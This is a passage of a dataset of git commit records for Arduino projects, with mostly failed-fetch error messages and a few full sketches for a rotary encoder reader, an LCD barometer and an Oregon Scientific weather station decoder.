llacceptanything,ds84182\/illacceptanything,illacceptanything\/illacceptanything,ultranaut\/illacceptanything,dushmis\/illacceptanything,ultranaut\/illacceptanything,paladique\/illacceptanything,ultranaut\/illacceptanything,ultranaut\/illacceptanything,caioproiete\/illacceptanything,ds84182\/illacceptanything,illacceptanything\/illacceptanything,TheWhiteLlama\/illacceptanything,ds84182\/illacceptanything,caioproiete\/illacceptanything,tjhorner\/illacceptanything,tjhorner\/illacceptanything,JeffreyCA\/illacceptanything,oneminot\/illacceptanything,tjhorner\/illacceptanything,triggerNZ\/illacceptanything,ds84182\/illacceptanything,triggerNZ\/illacceptanything,ds84182\/illacceptanything,TheWhiteLlama\/illacceptanything,JeffreyCA\/illacceptanything,caioproiete\/illacceptanything,caioproiete\/illacceptanything,JeffreyCA\/illacceptanything,paladique\/illacceptanything,oneminot\/illacceptanything,caioproiete\/illacceptanything,oneminot\/illacceptanything,triggerNZ\/illacceptanything,tjhorner\/illacceptanything,JeffreyCA\/illacceptanything,paladique\/illacceptanything,ds84182\/illacceptanything,1yvT0s\/illacceptanything,ds84182\/illacceptanything,ultranaut\/illacceptanything,triggerNZ\/illacceptanything,TheWhiteLlama\/illacceptanything,illacceptanything\/illacceptanything,triggerNZ\/illacceptanything,oneminot\/illacceptanything,paladique\/illacceptanything,JeffreyCA\/illacceptanything,TheWhiteLlama\/illacceptanything,ultranaut\/illacceptanything,1yvT0s\/illacceptanything,paladique\/illacceptanything,ultranaut\/illacceptanything,triggerNZ\/illacceptanything,dushmis\/illacceptanything,oneminot\/illacceptanything,dushmis\/illacceptanything,illacceptanything\/illacceptanything,ds84182\/illacceptanything,tjhorner\/illacceptanything,ds84182\/illacceptanything,tjhorner\/illacceptanything,dushmis\/illacceptanything,tjhorner\/illacceptanything,JeffreyCA\/illacceptanything,TheWhiteLlama\/illacceptanything,oneminot\/illacceptanything,TheWhiteLlama\/illacceptanything,JeffreyCA\/illacceptanything,illacceptanything\/illacceptanything,oneminot\/illacceptanything,caioproiete\/illacceptanything,paladique\/illacceptanything,ds84182\/illacceptanything,tjhorner\/illacceptanything,caioproiete\/illacceptanything,1yvT0s\/illacceptanything,ds84182\/illacceptanything,ultranaut\/illacceptanything,tjhorner\/illacceptanything,illacceptanything\/illacceptanything,paladique\/illacceptanything,oneminot\/illacceptanything,JeffreyCA\/illacceptanything,TheWhiteLlama\/illacceptanything,ultranaut\/illacceptanything,illacceptanything\/illacceptanything,1yvT0s\/illacceptanything,paladique\/illacceptanything,1yvT0s\/illacceptanything,dushmis\/illacceptanything,dushmis\/illacceptanything,1yvT0s\/illacceptanything,dushmis\/illacceptanything,ds84182\/illacceptanything,dushmis\/illacceptanything,illacceptanything\/illacceptanything,triggerNZ\/illacceptanything,ultranaut\/illacceptanything,caioproiete\/illacceptanything,JeffreyCA\/illacceptanything,dushmis\/illacceptanything,1yvT0s\/illacceptanything,oneminot\/illacceptanything,TheWhiteLlama\/illacceptanything,paladique\/illacceptanything,illacceptanything\/illacceptanything,oneminot\/illacceptanything,oneminot\/illacceptanything,tjhorner\/illacceptanything,triggerNZ\/illacceptanything,oneminot\/illacceptanything,JeffreyCA\/illacceptanything,caioproiete\/illacceptanything,triggerNZ\/illacceptanything,TheWhiteLlama\/illacceptanything,TheWhiteLlama\/illacceptanything,1yvT0s\/illacceptanything,dushmis\/illacceptanything,caioproiete\/illacceptanything,1yvT0s\/illacceptanything,illacceptanything\/illacceptanything,ultranaut\/illacceptanything,triggerNZ\/illacceptanything,tjhorner\/illacceptanything,triggerNZ\/illacceptanything,caioproiete\/illacceptanything,triggerNZ\/illacceptanything,1yvT0s\/illacceptanything,JeffreyCA\/illacceptanything,illacceptanything\/illacceptanything,caioproiete\/illacceptanything,paladique\/illacceptanything,1yvT0s\/illacceptanything,paladique\/illacceptanything,JeffreyCA\/illacceptanything,tjhorner\/illacceptanything,tjhorner\/illacceptanything,dushmis\/illacceptanything,JeffreyCA\/illacceptanything,triggerNZ\/illacceptanything,TheWhiteLlama\/illacceptanything","old_file":"blink.ino","new_file":"blink.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/caioproiete\/illacceptanything.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"898c34ad16ae3724ff229992ef3cc265776afcd6","subject":"some update","message":"some update\n","repos":"JackBDu\/robot-tour-guide","old_file":"arduino\/SmartRobot\/SmartRobot.ino","new_file":"arduino\/SmartRobot\/SmartRobot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JackBDu\/robot-tour-guide.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"88e20c38d366b33826ce21d9b32bee1ba6e4d999","subject":"tes timer","message":"tes timer\n","repos":"Duke-Medical-Instrumentation\/InceptionTI","old_file":"TestDelay\/TestDelay.ino","new_file":"TestDelay\/TestDelay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/InceptionTI.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e09c5cc728746db1e2040aadddd950916b75ac20","subject":"Delete Thermal_HUD_bicubic.ino","message":"Delete Thermal_HUD_bicubic.ino","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b79a111acc703d9012ba1cf422f021d63776c26","subject":"Interrup based dual encoder reader","message":"Interrup based dual encoder reader\n","repos":"turgaysenlet\/carry,turgaysenlet\/carry,turgaysenlet\/carry,turgaysenlet\/carry","old_file":"encoder_reader\/interrupt_encoder_reader\/interrupt_encoder_reader.ino","new_file":"encoder_reader\/interrupt_encoder_reader\/interrupt_encoder_reader.ino","new_contents":"\/* read a rotary encoder with interrupts\n Encoder hooked up with common to GROUND,\n encoder0PinA to pin 2, encoder0PinB to pin 4 (or pin 3 see below)\n it doesn't matter which encoder pin you use for A or B \n\n uses Arduino pull-ups on A & B channel outputs\n turning on the pull-ups saves having to hook up resistors \n to the A & B channel outputs \n\n*\/ \n\n#define encoder0PinA 2\n#define encoder0PinB 8\n\n#define encoder1PinA 3\n#define encoder1PinB 9\n\nvolatile unsigned int encoder0Pos = 0;\nvolatile unsigned int encoder1Pos = 0;\n\nvoid setup() { \n pinMode(encoder0PinA, INPUT); \n digitalWrite(encoder0PinA, HIGH); \/\/ turn on pull-up resistor\n pinMode(encoder0PinB, INPUT); \n digitalWrite(encoder0PinB, HIGH); \/\/ turn on pull-up resistor\n attachInterrupt(digitalPinToInterrupt(encoder0PinA), doEncoder0, CHANGE); \/\/ encoder pin on interrupt 0 - pin 2\n\n pinMode(encoder1PinA, INPUT); \n digitalWrite(encoder1PinA, HIGH); \/\/ turn on pull-up resistor\n pinMode(encoder1PinB, INPUT); \n digitalWrite(encoder1PinB, HIGH); \/\/ turn on pull-up resistor\n attachInterrupt(digitalPinToInterrupt(encoder1PinA), doEncoder1, CHANGE); \/\/ encoder pin on interrupt 0 - pin 2\n \n Serial.begin (9600);\n Serial.println(\"start\"); \/\/ a personal quirk\n\n} \n\nvoid loop(){\n\/\/ do some stuff here - the joy of interrupts is that they take care of themselves\n Serial.println (String(encoder0Pos) + \",\" + String(encoder1Pos));\n delay(100);\n}\n\nvoid doEncoder0() {\n \/* If pinA and pinB are both high or both low, it is spinning\n * forward. If they're different, it's going backward.\n *\n * For more information on speeding up this process, see\n * [Reference\/PortManipulation], specifically the PIND register.\n *\/\n if (digitalRead(encoder0PinA) == digitalRead(encoder0PinB)) {\n encoder0Pos++;\n } else {\n encoder0Pos--;\n } \n}\n\nvoid doEncoder1() {\n \/* If pinA and pinB are both high or both low, it is spinning\n * forward. If they're different, it's going backward.\n *\n * For more information on speeding up this process, see\n * [Reference\/PortManipulation], specifically the PIND register.\n *\/\n if (digitalRead(encoder1PinA) == digitalRead(encoder1PinB)) {\n encoder1Pos++;\n } else {\n encoder1Pos--;\n } \n}\n\n\/* See this expanded function to get a better understanding of the\n * meanings of the four possible (pinA, pinB) value pairs:\n *\/\nvoid doEncoder_Expanded(){\n if (digitalRead(encoder0PinA) == HIGH) { \/\/ found a low-to-high on channel A\n if (digitalRead(encoder0PinB) == LOW) { \/\/ check channel B to see which way\n \/\/ encoder is turning\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n } \n else {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n }\n }\n else \/\/ found a high-to-low on channel A\n { \n if (digitalRead(encoder0PinB) == LOW) { \/\/ check channel B to see which way\n \/\/ encoder is turning \n encoder0Pos = encoder0Pos + 1; \/\/ CW\n } \n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n }\n\n }\n Serial.println (encoder0Pos, DEC); \/\/ debug - remember to comment out\n \/\/ before final program run\n \/\/ you don't want serial slowing down your program if not needed\n}\n\n\/* to read the other two transitions - just use another attachInterrupt()\nin the setup and duplicate the doEncoder function into say, \ndoEncoderA and doEncoderB. \nYou also need to move the other encoder wire over to pin 3 (interrupt 1). \n*\/ \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encoder_reader\/interrupt_encoder_reader\/interrupt_encoder_reader.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"80975837118f18b6ed9be4144d2fe157d2baed5b","subject":"WHAT A BEAUTIFUL ACCIDENT","message":"WHAT A BEAUTIFUL ACCIDENT\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"pronoun_loop\/pronoun_loop.ino","new_file":"pronoun_loop\/pronoun_loop.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"dd97ffe08de16b2868cf6198c1613c7c7d62bb3f","subject":"added arduino source code;","message":"added arduino source code;\n","repos":"bbolgradov\/arduino-laser,bbolgradov\/arduino-laser,bbolgradov\/arduino-laser","old_file":"arduino-src\/laser-pointer\/laser-pointer.ino","new_file":"arduino-src\/laser-pointer\/laser-pointer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bbolgradov\/arduino-laser.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3584bcac407cebaf1ac795dd4ed918a13d708277","subject":"Swap from green to blue","message":"Swap from green to blue\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9579dcb2f6ba0eb98da1474ad066d25c2a09f117","subject":"Create LCD-barometer.ino","message":"Create LCD-barometer.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/LCD-barometer.ino","new_file":"ESP8266-code\/LCD-barometer.ino","new_contents":"#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n#include <SPI.h>\n#include <math.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP280.h>\n#undef BMP280_ADDRESS \/\/ Undef BMP280_ADDRESS from the BMP280 library to easily override I2C address\n#define BMP280_ADDRESS (0x76) \/\/ Low = 0x76 , High = 0x77 (default on adafruit and sparkfun BME280 modules, default for library)\n\n\/\/ display\nLiquidCrystal_I2C lcd(0x3F, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); \/\/ Set the LCD I2C address\n\n\/\/ custom characters\n\nbyte downright[8] = {\n B00000,\n B10000,\n B01000,\n B00101,\n B00011,\n B00111,\n B00000,\n B00000\n}; \n\nbyte upright[8] = {\n B00000,\n B00111,\n B00011,\n B00101,\n B01000,\n B10000,\n B00000\n}; \n\nbyte backslash[8] = {\n B00000,\n B10000,\n B01000,\n B00100,\n B00010,\n B00001,\n B00000,\n B00000,\n};\nbyte slopedown[8] = {\n B00000,\n B00000,\n B11000,\n B00100,\n B00011,\n B00000,\n B00000,\n B00000\n}; \n\nbyte slopeup[8] = {\n B00000,\n B00000,\n B00011,\n B00100,\n B11000,\n B00000,\n B00000,\n B00000\n}; \nbyte uparrow[8] = {\n B00100,\n B01110,\n B10101,\n B00100,\n B00100,\n B00100,\n B00000,\n B00000\n};\n\nbyte downarrow[8] = {\n B00100,\n B00100,\n B00100,\n B10101,\n B01110,\n B00100,\n B00000,\n B00000\n};\n\n\/\/ barometer\nAdafruit_BMP280 bmp; \/\/ I2C\nint elevation = 60; \/\/ height of station in m\n\n\/\/ baro queue\nfloat scale = 10.0;\nint period = 24*60;\nint interval = 5;\nint entries = period \/ interval;\n\n\/\/ queue - to be class\nint qmax = entries;\nint qi=0;\nint q[1000];\n\nvoid setup() \n{\n Serial.begin(9600);\n\/\/ display setup\n lcd.begin(16,2); \/\/ initialize the lcd for 16 chars 2 lines and turn on backlight\n lcd.createChar(0, slopeup);\n lcd.createChar(1, slopedown);\n lcd.createChar(2, upright);\n lcd.createChar(3, downright);\n lcd.createChar(4, uparrow);\n lcd.createChar(5, downarrow);\n lcd.createChar(6, backslash);\n\n\/\/ BMP280 setup\n Serial.println(F(\"BMP280 test\"));\n if (!bmp.begin()) { \n Serial.println(F(\"Could not find a valid BMP280 sensor, check wiring!\"));\n while (1);\n }\n delay(5000); \/\/let BMP settle\n\/\/ q setup;\n qinit(0);\n Serial.println(entries);\n}\/*--(end setup )---*\/\n\nvoid loop() \n{ lcd.clear();\n float temp = bmp.readTemperature();\n lcd.setCursor(0,0); \n lcd.print(temp);\n lcd.print(\" C \");\n lcd.setCursor(0,1);\n\n float pressure= bmp.readPressure()\/ 100.0F; \n float slpressure = pressure + elevation\/9.2F;\n float past3 = bget(180);\n float trend = slpressure - past3;\n lcd.print(slpressure);\n\n\/\/ store this reading\n bput(slpressure);\n\n printgraph(3*60, 8);\n delay(interval * 60 * 1000); \n}\n\nvoid bput(float baro) {\n qput((int)round(baro*scale));\n}\n\nfloat bget(int t) {\n int k = t \/ interval; \n float val = qget(k)\/scale;\n return val;\n}\n\nvoid qinit(int val) {\n for (int i=0; i < qmax;i++)\n q[i] = val;\n}\nvoid qput(int val) {\n q[qi]=val;\n qi = (qi + 1) % qmax;\n}\nint qget(int i) {\n int j = (qi-i-1+qmax)% qmax;\n return q[j];\n}\n\nbyte trendaschar(float trend) {\n byte d;\n if (trend <=-4.5) d=byte(5); else \/\/ down arrow\n if (trend <=-3.0) d=byte(3); else \/\/ down right\n if (trend <=-1.5) d=byte(6); else \/\/ backslash\n if (trend <-0.2) d=byte(1); else \/\/ slopedown\n if (trend <=0.2) d=0x2D; else \/\/ dash\n if (trend <1.5) d=byte(0); else \/\/ slope up\n if (trend <3.0) d=0x2F; else \/\/ slash\n if (trend <4.5) d=byte(2); else \/\/ upright\n d=byte(4); \/\/ uparrow\n return d;\n}\n\nvoid printgraph(int period, int points) {\n int k = points - 1;\n for (int i =k;i>0;i--) {\n float a = bget((i-1)*period);\n float b = bget(i*period);\n if (a > 0 && b > 0) { \/\/ both are actual readings \n float trend = a - b;\n lcd.write(trendaschar(trend));\n }\n else lcd.print(\" \");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/LCD-barometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"adc5621e1d38c5e6ff9e54cd8fb2a51e3758b14a","subject":"Weather station now with exerimental sensor and indicator LEDS.","message":"Weather station now with exerimental sensor and indicator LEDS.\n","repos":"robwlakes\/ArduinoWeatherOS","old_file":"MainWeather_07\/MainWeather_07.ino","new_file":"MainWeather_07\/MainWeather_07.ino","new_contents":"\/*\n Oregon Scientific Weather Station and Manchester Decoding, (reading by delay rather than interrupt)\n Rob Ward 2015\n This example code is in the public domain.\n Use at your own risk, I will take no responsibility for any loss whatsoever for its deployment.\n Visit https:\/\/github.com\/robwlakes\/ArduinoWeatherOS for the latest version and\n documentation. Filename: MainWeather_02.ino\n\n Main_Weather, 10 July 2016 (works with Python Version 30)\n\n The aim of this version is use the new Manchester decoding routine and incorporate detection\n of a Oregon compatible sensor built to cover novel environmental sensors.\n For example we could have remote temperature sampling, bat detectors, lightning detectors,\n solar power detectors, and earthquake detectors, all reporting back to the WWW server.\n The advantage is that by using the Oregon Scientific Protocol a person can incorporate\n their excellent weather sensors into the overall design and largely keep the Arduino Rx software\n design relatively simple, ie also use their Manchester implementation for our own sensors.\n\n It may seem this program is encouraging people to build their own replacements for the\n Oregon Scientific sensors, however it is quite the reverse. The program is designed\n encourage people to purchase the Oregon gear to get the basic wind, temperature, rain\n and humidity sensors and then extend the range with original designs as suggested above.\n If the Oregon sensors are not used, then it does not make sense to use their protocol,\n and any RF other protocol could be as good, or maybe even better in some circumstances.\n\n Before I discovered the Oregon products, and designed a receiver for it, I was seriously\n considering building my own basic weather sensors. Now I am glad I did not try as the\n quality and price of the Oregon sensors are a very good economic and reliable alternative.\n\n Have we made the Oregon base station with the LCD redundant? Well no, not at all. I have\n it in the kitchen and it used by members of the family from day to day and does not take\n anything extra to have it performing a useful monitoring job as well. However if you want to\n build a system that uses weather data, and combines that with other sensors, and then performs\n other tasks such as switching pumps, or moving blinds then adding an Arduino based 433MHz Rx\n makes an incredibly versatile platform to work with.\n\n Have we made the Oregon USB to PC models redundant? Again no, unless you want to take a long time\n writing your own logging and graphing routines. This program does not even begin to replace\n that level of functionality.\n\n Have we made the Anywhere OS Internet connection system redundant? Finally, again no!\n This simple Arduino system does not report live to the internet and it would also take a lot\n of effort to even go close to include the features of the OS internet connection system.\n\n I would encourage anyone looking for a weather sensor based project to consider the Oregon\n Scientific products as they produce a wide range of economically priced but solidly built\n weather sensors. The mechanical engineering is very good and hard to replicate by the \"Geek\n in the Street\". However the scope to extend the usefulness of this data in our designs, by\n combining it with our own sensors (eg soil moisture, or dew point sensors) is truly amazing.\n\n Have a look here: http:\/\/www.oregonscientificstore.com\/\n\n So get some OS gear, an Arduino and get into it :-)\n\n NB: This program only works with Protocol 3.0 sensors.\n\n Reference Material:\n Thanks to these authors, they all helped in some way, especially the last one Brian!!!!\n http:\/\/wmrx00.sourceforge.net\/Arduino\/OregonScientific-RF-Protocols.pdf (1)\n http:\/\/jeelabs.net\/projects\/cafe\/wiki\/Decoding_the_Oregon_Scientific_V2_protocol (2)\n https:\/\/github.com\/phardy\/WeatherStation (3)\n http:\/\/lucsmall.com\/2012\/04\/27\/weather-station-hacking-part-1\/ (4)\n http:\/\/lucsmall.com\/2012\/04\/29\/weather-station-hacking-part-2\/ (5)\n http:\/\/lucsmall.com\/2012\/04\/29\/weather-station-hacking-part-2\/ (6)\n http:\/\/www.mattlary.com\/2012\/06\/23\/weather-station-project\/(7)\n https:\/\/github.com\/lucsmall\/WH2-Weather-Sensor-Library-for-Arduino (8)\n http:\/\/www.lostbyte.com\/Arduino-OSV3\/ (9) brian@lostbyte.com\n\n Most of all thanks to Oregon Scientific, who have produced an affordable, high quality product.\n I can now have my LCD Home Base in the kitchen to enjoy, with the Arduino in the garage also\n capturing data for WWW Weather pages. Lovely!!!! http:\/\/www.oregonscientific.com\n Very Highly recommended equipment. Rob Ward\n \n Adenda:\n The Solar Power sensor (a silicon cell's open voltage under sunlight) has been added\n A lightning strike detector has been added with nos of strikes per 45 seconds\n A UV Light intensity has also been added to give a relative UV light warning. \n *\/\n\n#include \"DHT.h\"\n#include <Wire.h>\n#include <Adafruit_BMP085.h>\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n#define DHTPIN 2 \/\/ what pin we're connected to\n\nAdafruit_BMP085 bmp;\nDHT dht(DHTPIN, DHTTYPE);\n\n\/\/Interface Definitions\nint RxPin = 8; \/\/The number of signal from the Rx\nint ledPin = 13; \/\/The number of the onboard LED pin\nint RedPin = 7; \/\/The Red LED, turn on for a valid Temp sensor packet\nint GrePin = 6; \/\/The Green LED, turn on for a valid Wind sensor packet\nint BluPin = 5; \/\/The Blue LED, turn on for a valid Rain sensor packet\n\n\/\/ Variables for Manchester Receiver Logic:\nword sDelay = 250; \/\/Small Delay about 1\/4 of bit duration try like 250 to 500\nword lDelay = 500; \/\/Long Delay about 1\/2 of bit duration try like 500 to 1000, 1\/4 + 1\/2 = 3\/4\nbyte polarity = 1; \/\/0 for lo->hi==1 or 1 for hi->lo==1 for Polarity, sets tempBit at start\nbyte tempBit = 1; \/\/Reflects the required transition polarity\nbyte discards = 0; \/\/how many leading \"bits\" need to be dumped, usually just a zero if anything eg discards=1\nbyte discNos = 0; \/\/Counter for the Discards\nboolean firstZero = false; \/\/has it processed the first zero yet? This a \"sync\" bit.\nboolean noErrors = true; \/\/flags if signal does not follow Manchester conventions\n\/\/variables for Header detection\nbyte headerBits = 15; \/\/The number of ones expected to make a valid header\nbyte headerHits = 0; \/\/Counts the number of \"1\"s to determine a header\n\/\/Variables for Byte storage\nbyte dataByte = 0; \/\/Accumulates the bit information\nbyte nosBits = 0; \/\/Counts to 8 bits within a dataByte\nbyte maxBytes = 9; \/\/Set the bytes collected after each header. NB if set too high, any end noise will cause an error\nbyte nosBytes = 0; \/\/Counter stays within 0 -> maxBytes\n\/\/Bank array for packet (at least one will be needed)\nbyte manchester[12]; \/\/Stores manchester pattern decoded on the fly\n\/\/Oregon bit pattern, causes nibble rotation to the right, ABCDabcd becomes DCBAdcba\nbyte oregon[] = {\n 16, 32, 64, 128, 1, 2, 4, 8\n};\nbyte csIndex = 0; \/\/counter for nibbles needed for checksum\n\/\/Weather Variables\nbyte quadrant = 0; \/\/used to look up 16 positions around the compass rose\ndouble avWindspeed = 0.0;\ndouble gustWindspeed = 0.0; \/\/now used for general anemometer readings rather than avWindspeed\nfloat rainTotal = 0.0;\nfloat rainRate = 0.0;\ndouble temperature = 0.0;\nint humidity = 0;\ndouble intTemp = 0;\ndouble intHumi = 0;\ndouble intPres = 0 ;\nbyte intSolar = 0; \/\/eg Solar power\nbyte intLightning = 0; \/\/eg Lightning Strikes\nbyte intUV = 0; \/\/eg UV Light Levels\nconst char windDir[16][4] = {\n \"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\", \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n};\n\nbyte scan = 0; \/\/ &7!=0 means that all three sensors has been detected, so it reports all three with meaningful figures first up (not the latest addition though)\nbyte seconds = 0; \/\/ Counter to trigger the 60 seconds worth of data.\nbyte batStat = 0; \/\/ bit1= temp, bit2=wind bit3=rain, bit4=exp if true then that sensor has not been logged for 20 minutes, its battery probably getting flat\nbyte logTemp = 0; \/\/ Counter for number of minutes a sensor reading is missed\nbyte logWind = 0; \/\/ Counter for number of minutes a sensor reading is missed\nbyte logRain = 0; \/\/ Counter for number of minutes a sensor reading is missed\nbyte logExp = 0; \/\/ Counter for number of minutes a sensor reading is missed\nint aday = 0; \/\/ Counts the number of minutes in a day and clears battery status every 24hrs\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(RxPin, INPUT);\n pinMode(ledPin, OUTPUT);\n \/\/Strobe colours in to indicate a reboot, TriColour LED is Common Anode, so requires active low to trigger.\n pinMode(RedPin, OUTPUT);\n pinMode(GrePin, OUTPUT);\n pinMode(BluPin, OUTPUT);\n \/\/make the RGB LED flash a signature heartbeat on start up \n digitalWrite(RedPin, 1);\n digitalWrite(GrePin, 0);\n digitalWrite(BluPin, 0); \/\/Flash Cyan\n delay(1000);\n digitalWrite(RedPin, 0);\n digitalWrite(GrePin, 0); \/\/Flash Yellow\n digitalWrite(BluPin, 1);\n delay(1000);\n digitalWrite(RedPin, 0);\n digitalWrite(GrePin, 1);\n digitalWrite(BluPin, 0); \/\/Flash Purple\n delay(1000);\n digitalWrite(BluPin, 1); \/\/all off\n digitalWrite(RedPin, 1);\n delay(1000);\n\n \/* Enable these if attempting to debug the program or the circuit\n Serial.println(\"Debug Manchester Version 18\");\n Serial.print(\"Using a delay of 1\/4 bitWaveform \");\n Serial.print(sDelay,DEC);\n Serial.print(\" uSecs 1\/2 bitWaveform \");\n Serial.print(lDelay,DEC);\n Serial.println(\" uSecs \");\n if (polarity){\n Serial.println(\"Negative Polarity hi->lo=1\");\n }\n else{\n Serial.println(\"Positive Polarity lo->hi=1\");\n }\n Serial.print(headerBits,DEC);\n Serial.println(\" bits expected for a valid header\");\n if (discards){\n Serial.print(discards,DEC);\n Serial.println(\" leading bits discarded from Packet\");\n }\n else{\n Serial.println(\"All bits inside the Packet\");\n }\n Serial.println(\"D 00 00001111 01 22223333 02 44445555 03 66667777 04 88889999 05 AAAABBBB 06 CCCCDDDD 07 EEEEFFFF 08 00001111 09 22223333 0A 44445555\");\n *\/\n\n \/\/Tutorial on using the BMP05 Press\/Temp transducer https:\/\/www.sparkfun.com\/tutorials\/253\n bmp.begin(); \/\/start the barometer and temp packages\n\n \/\/ Initialize Timer1 for a 1 second interrupt\n \/\/ Thanks to http:\/\/www.engblaze.com\/ for this section, see their Interrupt Tutorial\n cli(); \/\/ disable global interrupts\n TCCR1A = 0; \/\/ set entire TCCR1A register to 0\n TCCR1B = 0; \/\/ same for TCCR1B\n \/\/ set compare match register to desired timer count:\n OCR1A = 15624;\n \/\/ turn on CTC mode:\n TCCR1B |= (1 << WGM12);\n \/\/ Set CS10 and CS12 bits for 1024 prescaler:\n TCCR1B |= (1 << CS10);\n TCCR1B |= (1 << CS12);\n \/\/ enable timer compare interrupt:\n TIMSK1 |= (1 << OCIE1A);\n \/\/ enable global interrupts:\n sei();\n}\n\n\/\/Routine Driven by Interrupt, trap 1 second interrupts, and output every minute\nISR(TIMER1_COMPA_vect) {\n seconds++;\n if (seconds == 60) { \/\/make 60 for each output\n seconds = 0;\n \/\/Serial.print(\"One second ...\");\n usbData();\/\/comment this out to temporarily disable data every minute for debug\n }\n} \/\/end of interrupt routine\n\n\/\/ Main routines, find header, then sync in with it, get a packet, and decode data in it, plus report any errors.\nvoid loop() {\n tempBit = polarity ^ 1;\n noErrors = true;\n firstZero = false;\n headerHits = 0;\n nosBits = 0;\n maxBytes = 15; \/\/too big for any known OS signal\n nosBytes = 0;\n discNos = discards;\n manchester[0] = 0;\n digitalWrite(ledPin, 0);\n while (noErrors && (nosBytes < maxBytes)) {\n while (digitalRead(RxPin) != tempBit) {\n }\n delayMicroseconds(sDelay);\n if (digitalRead(RxPin) != tempBit) {\n noErrors = false;\n }\n else {\n byte bitState = tempBit ^ polarity;\n delayMicroseconds(lDelay);\n if (digitalRead(RxPin) == tempBit) {\n tempBit = tempBit ^ 1;\n }\n if (bitState == 1) {\n if (!firstZero) {\n headerHits++;\n if (headerHits == headerBits) {\n \/\/digitalWrite(ledPin,1);\n }\n }\n else {\n add(bitState);\n }\n }\n else {\n if (headerHits < headerBits) {\n noErrors = false;\n }\n else {\n if ((!firstZero) && (headerHits >= headerBits)) {\n firstZero = true;\n \/\/digitalWrite(ledPin,1);\n\n }\n add(bitState);\n }\n }\n }\n }\n digitalWrite(ledPin, 0);\n}\n\nvoid add(byte bitData) {\n if (discNos > 0) {\n discNos--;\/\/discard bits before real data\n }\n else {\n \/\/the incoming bitstream has bytes placed in reversed nibble order on the fly, then the CS is done.\n if (bitData) {\n \/\/if it is a '1' OR it in, others leave at a '0'\n manchester[nosBytes] |= oregon[nosBits];\/\/places the reversed low nibble, with hi nibble, on the fly!!!\n }\n \/\/Oregon Scientific sensors have specific packet lengths\n \/\/Maximum bytes for each sensor must set once the sensor has been detected.\n if (manchester[0] == 0xA2) {\n maxBytes = 11; \/\/rain\n csIndex = 19;\n }\n if (manchester[0] == 0xA1) {\n maxBytes = 10; \/\/wind\n csIndex = 18;\n }\n if (manchester[0] == 0xAF) {\n maxBytes = 9; \/\/temp\n csIndex = 16;\n }\n if (manchester[0] == 0xA3) {\n maxBytes = 10; \/\/experimental, Solar,Strikes,UV\n csIndex = 18; \/\/CS byte begins at 18 